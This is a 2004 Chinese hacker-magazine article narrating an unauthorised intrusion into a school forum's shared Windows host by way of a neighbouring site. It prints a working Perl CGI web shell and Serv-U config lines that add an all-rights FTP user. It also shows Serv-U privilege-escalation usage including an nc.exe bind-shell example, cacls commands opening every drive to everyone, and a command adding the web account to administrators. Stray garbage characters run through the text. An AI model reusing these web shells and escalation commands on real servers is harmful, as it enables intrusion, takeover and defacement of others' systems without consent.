剑走偏锋——灵巧的旁注攻击
$ F, q0 \- @- d( I" S d本文作者:angel1 t( w% G( I7 ]2 } h
文章性质:原创
( W; N; D3 Y- U4 q! d; \发布日期:2004-11-09
$ J- ]9 h% T' v: Z# `3 O% \注意:
j. Y, N, q0 j5 T4 B! u' f: S& t, y本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
: w/ O5 G) H& C4 C# G/ f3 }本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。) y/ G$ @& d6 n
1 R" j C& x5 ^) H7 V! ]2 ^) i 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 D0 Z9 @* m0 C$ B6 T+ {# `
3 T, c; o7 D* V: Z- ]) U 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
7 p' U- k" U+ w) [# X% i' n5 f$ e: e% f' _- z' l. d5 V' y
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 2 I; b! G6 G( n) d5 n( `3 n! M. J
* N/ P' K& E* A$ n' U
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 2 O$ O# |/ |+ n
5 M6 @( H( d0 {0 ?6 D2 v5 L 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
6 O" ~: g& B% e6 V" `' a9 O, s- [" P1 ?. i
没有目的的跳转目录着…… ! c3 k6 a. H ^8 ?9 L7 N
& x$ I3 g5 E; ]" a# P6 H$ {
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ) T) v, S1 @4 ~( Y5 W* `: c/ C
8 I6 u' }" j$ k- I$ @, a$ p- ~
结束了吗?不,我试着 FTP 一下:
u, ]; Z# x7 j7 x6 Y8 l+ e- V' D* a1 Q `9 Z1 \) |2 [2 V2 @4 P+ p' n
Microsoft Windows 2000 [Version 5.00.2195]
' v9 \8 T- S' ?* K9 F& K5 x(C) 版权所有 1985-2000 Microsoft Corp. 4 f6 h3 [" o6 ]
( v5 [- \. ?, n) Z" z
C:\Documents and Settings\Administrator>ftp www.school.com
" P ?5 P: X7 }# ^) S q& b8 VConnected to www. school.com.
3 d" G& H) V( T/ T1 z+ b220 Welcome to FTP Server...
0 x1 T! Y8 a' ~- Z( s$ a( ZUser (www.bjtrq.com:(none)):
$ z8 ]' k+ o5 w& H" m331 User name okay, need password. ! B8 G' p& P0 o" _
Password: : W% ?/ t: H- t% P: r A( A0 G
530 Not logged in. : ], J# w8 x) Z/ e- g# z& R
Login failed.
! e/ S9 O& Z/ H9 t% Mftp> bye
% [1 h* t. g9 k/ P: J: K9 n. Z5 w221 Goodbye! # U" X6 f* n, V/ l: n9 o
9 V5 q- u4 w5 w3 I
1 X) b; l2 I$ \7 H- U/ o4 W 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 2 x9 h! g6 e9 l5 {5 e1 ]- S
, Q# u! x" A( n
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
: a; t8 `2 y* \& N
7 x; Z3 R$ {" n- P! n2 r; `& |Application Data( F& S5 v- B5 R c8 B$ F+ x. j6 d
Documents( r' f f2 G8 \
DRM
& j9 _( O) R3 b- K% }. D6 SFavorites: y- l4 `7 c5 X/ D% g+ U# o
Templates
# J% c; C6 w& e# t" {" w「开始」菜单) M8 v0 {+ ?' z9 f Q9 _; s: f
桌面$ h& K# s- k# r! q1 Q2 B/ P8 q% [
9 p. P1 B( e( m
5 d. f, m! A4 G( X/ p U$ o+ V 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 0 t* [" @* t& k& n
6 c4 ?* n9 v4 W# \ActiveState ActivePerl 5.8
# S4 [+ f1 ]) i% N9 W/ VAdministrative Tools
. U3 l0 H$ @: S! aDeerfield.com
2 U9 u- O7 y$ R: h- @. sDTemp9 v# c0 p7 I* g' H/ M8 [4 y
IPSentry
' P, j, n3 O3 P9 F8 A$ f( AMBM 5
- P' ~" d0 q: }: F" e$ d" O, iNetMeter7 f' E) h) e, J! k" O( P
Network ICE0 J1 f6 C/ Q* V& O# A% b" d& v
Persits Software AspEmail
& X, J" r% D5 ^8 B! F0 ?. o& ^% IPersits Software AspJpeg
9 c6 a! ~# p$ Z. n/ C3 ~Serv-U FTP Server1 K: j& F" [9 p( F8 k3 g
Symantec Client Security9 k3 U' g; t+ N% ~1 ^* E4 P4 O
Windows 优化大师3 A( W L1 V) K
WinRAR. N v( ]/ O) a( z. K. R0 t" R* @3 N
启动# n; u( m6 n5 c) L4 l
管理工具) [% y6 u2 n9 _( }% G/ K) B
附件. Z$ X& T; Q* ^- l
# o8 i1 |" `9 Z4 c" n7 T3 V; Y
- m. I% Y% |+ P8 @0 n/ t 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
$ ]* B/ ^# X- B7 a- I5 s
! L% ~1 m' [; o8 w 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
4 P9 y- Z6 z6 `" w3 A. G" w3 u/ b1 `& Z/ s5 L! W% |& N- x1 E
User281=angel|1|0 2 c1 H& I; r4 L# r* U5 @
' S: r7 ?' G+ o' R; `/ k8 h3 i: Z9 w
7 I' o1 W! o7 y 然后加上 4 @ b3 {' h% T' a
. a2 r) W2 l/ y8 `! |) ` y
[USER=angel|1]
' c2 M+ x6 Z4 MPassword=ng98F85379EA68DBF97BAADCA99B69B805
1 P' _8 ? g3 u6 rHomeDir=D:\websites
6 b6 U: g, A& _9 VRelPaths=1' n: N- ?0 o& x, G
TimeOut=600
, W0 t6 J, y( qMaintenance=System
# j# g& S3 o/ v% ^6 kAccess1=D:\websites|RWAMELCDP
2 U9 c! ` f- L5 WSKEYValues=
, l" j+ ]8 x4 t* o3 q& V- F 8 i5 Z' M5 W9 v! [; e! R
6 g$ d' Z! Q9 F4 G, r! o% y 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
- h/ a! z1 |- N+ }. j( e' C
P3 s9 |1 C& A$ W. D 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ! K3 n% }( K p9 n6 n+ E8 {
0 v D6 J9 v; ~; t( m8 W 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ' R! z) d, r; V# Y
6 m, c, u& l: T1 | 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: , t6 p5 s1 [( e X7 ]. L3 w
5 f6 F, _, D4 [' ?4 w. w#!/usr/bin/perl, L* N) F3 W# g' H' t
binmode(STDOUT);4 ^/ L6 g! h5 c6 Q/ |/ |
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);; Q! l' L2 E/ @. Y) t. i, [8 G
$_ = $ENV{QUERY_STRING};
" Z( r, [- g7 q% O; Ns/%20/ /ig;/ w* K. I- @. h& \* V2 I2 y
s/%2f/\//ig;! T9 P1 }1 y/ ^6 s2 r
$execthis = $_;
( F& m! P8 A$ h4 q% fsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
% G$ |) Z0 s& a* C. ?open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";' }, H: Z. `/ `/ Y8 a9 M: m
system($execthis);5 R. K1 N4 S; M: F/ u) M
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
" f9 T5 N/ R& {* H& J' D% w# Wclose(STDERR);
, J1 Y" K1 t: vclose(STDOUT);
% W' ~* A6 L1 F/ L% Iexit;5 T) o( }3 h" f3 {8 @
4 g/ Y8 K* n& T
/ C! y2 s& ^0 b. N' o
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! & v+ j) I; B4 o
; G. N% P9 O3 v" @+ y! ? 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: + i* q* Z0 y; C0 ~+ b
: O+ L4 T6 G3 R# u
http://anyhost//cmd.pl?d:\user\bin\su.exe
5 X' D$ x; g$ ?, C1 ? ; w, m, D7 c- f3 S0 W
8 [2 p7 y6 J, x2 o( i# g
返回:
8 \ K. O- G* c& A, o6 ~
7 A$ G$ q+ \$ T) v v7 i6 x5 D- CServ-u >3.x Local Exploit by xiaolu 4 k- U Q7 z6 S# V+ @' Y/ u8 S
2 x T5 G! `0 X1 s7 {USAGE: serv-u.exe "command" 5 D3 O0 Z: r' T2 z- G
$ {$ U# o y# O& g$ Z, MExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" + F" ^& g& }+ g, n. X
2 _$ m: y/ u8 p8 I* K; @
- M0 E6 G5 d l k+ b 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ; @/ i( H( y# m8 b8 a
6 |- L9 ^2 z1 u& x% x( R: mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
[# F) Z! `, U6 o8 |3 z2 X9 c& {- W0 T$ p6 s
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" . X" D. F* b; N7 p: v; h
] p! H- s* e, I* _$ t
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
1 L: h$ ?6 e, j6 ?* o% K, N3 P( S# w$ r4 |, h
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ) p, Q3 s8 s$ ]3 c
6 c/ i0 D. N, O7 J% |. M
+ x, r4 I+ r, P* V& ]6 R$ z |5 |
返回下面的信息,就表示成功了!!! & h6 v. ^3 a, U
6 W2 d x1 l" u: q4 E0 R- E6 y3 P2 uServ-u >3.x Local Exploit by xiaolu % A5 g$ t' w+ s$ C' T( [9 Q# o
6 J8 F8 [- l- |/ p4 M<220 Serv-U FTP Server v5.2 for WinSock ready... `& v: V( M/ A0 L a6 h
/ i5 K9 l: y+ y d>USER LocalAdministrator 1 B$ s' ~0 N( P" M. z+ o. \6 A
. ^# a- w( r& l<331 User name okay, need password. - W% p+ u+ O. g u
9 P" q) O4 M v- Q
****************************************************** / K5 p+ g" S! h' X f
4 v( Q3 v8 ~; t; P0 v. c
>PASS #l@$ak#.lk;0@P
8 B3 I3 x2 }: b
6 k; f% a: J* i( C* c<230 User logged in, proceed.
4 i: j/ s8 N/ i# d. D* S" R( Z( B7 P2 P; x
****************************************************** % x, A( {; ^" y( \
6 L Z* U- r) }4 z5 I>SITE MAINTENANCE
" i T* i$ P2 |% i: \0 p Z- p4 d$ x j. {9 M
****************************************************** , ]8 q- r. G- g7 B( s
1 D: v- k6 L: D; p2 k6 ]
[+] Creating New Domain... 9 s) O y% v v4 M8 s7 _
% q- V: A: Z" G' K2 W5 w9 |1 M7 }
<200-DomainID=2 `' p: Q! O* H) r; z' b
" u1 G* L( x5 c* h6 Q
<220 Domain settings saved Q: \. \2 P, V$ i) M
! b+ x; T4 b- L: y
****************************************************** : K4 H) n; R$ M6 J! b
" r4 N3 t$ B9 S5 J
[+] Domain xl:2 Created " B3 J0 _. Z2 ]
( [, f( }( B1 r2 _1 N e
[+] Creating Evil User
4 A2 l8 `" B4 ^2 f4 u7 p, I/ [* z& _& q" @
<200-User=xl # g5 B5 v! H% @2 C
2 i& Q2 C! \$ `! U* Q; b5 X! L3 u200 User settings saved
3 q; c7 P0 m. R G1 z$ y# P* R* f5 o5 F7 Q! H& b g
****************************************************** m8 A) W& q$ \ n0 n: b% J
. Z- r9 N9 r! J8 Q- ~" r
[+] Now Exploiting...
2 _3 W+ Y5 h) ]7 u# p- Z% C( [" R
4 Z4 I4 J) Q. s4 y" I, i! c>USER xl 5 a5 _6 B, m7 ?
7 X8 B' ?4 H( t$ \
<331 User name okay, need password.
8 H5 l2 V" o7 i
+ f( C8 Y6 d, L2 K( @******************************************************
, [5 J6 _) D; x7 J' o
- ^6 ?0 h0 A% W6 b2 b% S>PASS 111111
S% ]4 B3 Z4 T
B z& W1 ?4 o9 ~) n" Z<230 User logged in, proceed. ; L4 p( N# P' b; }+ z- M
2 @+ M: x4 k0 ~' X+ |******************************************************
$ B' ^- `; B. D* U3 @& M3 m; ^$ G. m8 Z! N
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
9 x/ R7 V' w M% A& i. h6 b/ L& n9 X+ O/ ^
<220 Domain deleted ) p7 U3 Z! m: d5 N8 N& r( k7 L
. K5 u$ O+ I) S* X$ |7 |4 i8 U! n4 U******************************************************
- @6 Q" e6 ~5 B% ?! e
' V5 J$ Y6 Y4 d# q5 f' g4 J
. L% S0 ]% C0 \ 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
) M3 s. z1 x( c: y# T$ N |1 w7 ?5 a$ q! ?6 `! J) _" x% k r7 Z a
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
8 F1 a" Q+ L2 m \& E0 N 4 I6 R( p( F. ~* A
: T' T% k% |& b! a5 m8 j7 y, z 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
5 _, E! {/ A3 P: R/ r( S! s& e- k9 g; G( }# @# J7 c
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。2 u. S3 z% E% r2 i( m8 q7 p
8 X' L! u' n" Z( D, n+ D- H $ H j1 }9 R* r2 o
|